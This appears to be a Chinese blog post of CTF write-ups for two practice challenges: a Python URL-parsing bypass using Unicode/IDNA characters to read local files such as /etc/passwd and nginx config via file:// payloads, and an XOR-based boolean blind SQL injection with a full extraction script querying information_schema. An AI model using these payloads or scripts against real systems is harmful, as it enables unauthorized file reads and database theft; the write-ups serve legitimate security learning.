[CTF]WriteUp第13篇

[SUCTF 2019]Pythonginx

思路

看到源代码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

解题

关键是要在前两个if不进去的情况下,进入第三个if
这里有两个解法:

解法一:利用unicode字符爆破

写一个爆破程序即可

from urllib import parse

def test_url():
    for x in range(65535):
        c = chr(x)
        url = f'http://suctf.c{c}/a=1&b=1'
        try:
            host = parse.urlparse(url).hostname
        except:
            continue
        if get_url(url, host):
            print(f'unicode:{c}, hex:\\u{hex(x)}')
        
        
def get_url(url, host):
    if host == 'suctf.cc':
        return False
    parts = list(parse.urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        try:
            n = h.encode('idna').decode('utf-8')
        except:
            return False
        newhost.append(n)
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = parse.urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
    
test_url()
unicode:ℂ, hex:\u0x2102
unicode:ℭ, hex:\u0x212d
unicode:Ⅽ, hex:\u0x216d
unicode:ⅽ, hex:\u0x217d
unicode:Ⓒ, hex:\u0x24b8
unicode:ⓒ, hex:\u0x24d2
unicode:C, hex:\u0xff23

然后构造payload即可,先读/etc/passwd

/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd
# 然后根据提示读取nginx配置文件
/getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
# 或者
/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
# 获得flag位置为usr/fffffflag
/getUrl?url=file://suctf.c℆sr/fffffflag

注意

记录一些基础知识

nginx常用文件路径

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

urllib.parse相关函数作用

from urllib import parse

url = "https://www.lingye.space/simple?a=1&b=i"
res1 = parse.urlparse(url)
print(res1)  
# ParseResult(scheme='https', netloc='www.lingye.space', path='/simple', params='', query='a=1&b=i', fragment='')
print(res1.hostname)  # www.lingye.space

parts = parse.urlsplit(url)
print(parts)
# SplitResult(scheme='https', netloc='www.lingye.space', path='/simple', query='a=1&b=i', fragment='')
print(list(parts)) 
# ['https', 'www.lingye.space', '/simple', 'a=1&b=i', '']
parts = list(parts)

newhost = []
for h in parts[1].split('.'):
    newhost.append(h.encode('idna').decode('utf-8'))  # encode(‘idna’)是指转换为国际化域名
parts[1] = '.'.join(newhost)
print(parts[1])  # www.lingye.space

finalurl = parse.urlunsplit(parts)
print(finalurl)  # https://www.lingye.space/simple?a=1&b=i
finalurl = finalurl.split(' ')[0]
print(finalurl)  # https://www.lingye.space/simple?a=1&b=i
host = parse.urlparse(finalurl).hostname
print(host)  # www.lingye.space

关于urllib

urllib.request 打开和读取 URL
urllib.error 包含 urllib.request 抛出的异常
urllib.parse 用于解析 URL
urllib.robotparser 用于解析 robots.txt 文件

不知道为什么buuctf上面老是失败
这里放个docker地址:SUCTF-2019/Web/pythonginx at master · team-su/SUCTF-2019 · GitHub
有空自己搭个试试


[WUSTCTF2020]颜值成绩查询

思路

测试了一下异或发现可以,直接盲注完事

解题

我在之前的py程序基础上优化了一下

import requests
import string
import time

url = 'http://112f5d3e-3835-4b69-a366-f344ca781605.node5.buuoj.cn:81/'
param_name = 'stunum'
params = {param_name: None}
min_num = 9
max_num = 128


def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
    # 初始化
    if not hasattr(bool_success, 'wait_time'):
        bool_success.wait_time = 0.02
    if not hasattr(bool_success, 'success_times'):
        bool_success.success_times = 0
    if not hasattr(bool_success, 'total_times'):
        bool_success.total_times = 0
        
    state_503 = True
    while state_503:
        time.sleep(bool_success.wait_time)
        bool_success.total_times += 1
        try:
            response = requests.get(url=url, params=params)
        except Exception:
            continue
        # print(url+'id='+params[param_name])
        if requests.status_codes != 503:
            state_503 = False
            bool_success.success_times += 1
            # print(url, response.text)
            if success_flag in response.text:
                # print('success')
                return True
            elif fail_flag in response.text:
                # print('fail')
                return False
            elif "Error" in response.text:
                # print('worry_data')
                continue
            else:
                # print('error')
                continue
        if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
            bool_success.wait_time += 0.01
            print(f'bool_success.wait_time调整至{bool_success.wait_time}')
            bool_success.total_times = 0
            bool_success.success_times = 0
            

res = ''
None_num = 0
for i in range(1, 500):
    left = min_num - 1
    right = max_num + 1
    mid = (left + right) // 2
    while left + 1 != right:
        column_name = 'value'
        table_name = 'flag'
        # 数据库
        # params[param_name] =  f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})'
        # 数据表
        # params[param_name] =  f'1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
        # 字段
        # params[param_name] =  f'1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="{table_name}")),{i},1))>{mid})'
        # 内容
        params[param_name] =  f'1^(ascii(substr((select(group_concat({column_name}))from({table_name})),{i},1))>{mid})'
        if bool_success(url, params, 'student number not exists.', 'Hi admin, your score is: 100'):
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    if right == max_num + 1 or left == min_num - 1:
        print('NoneChr!')
        None_num += 1
        if None_num >= 5:
            print('---finished---')
            break
        continue
    res += chr(right)
    print(res)

注意

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇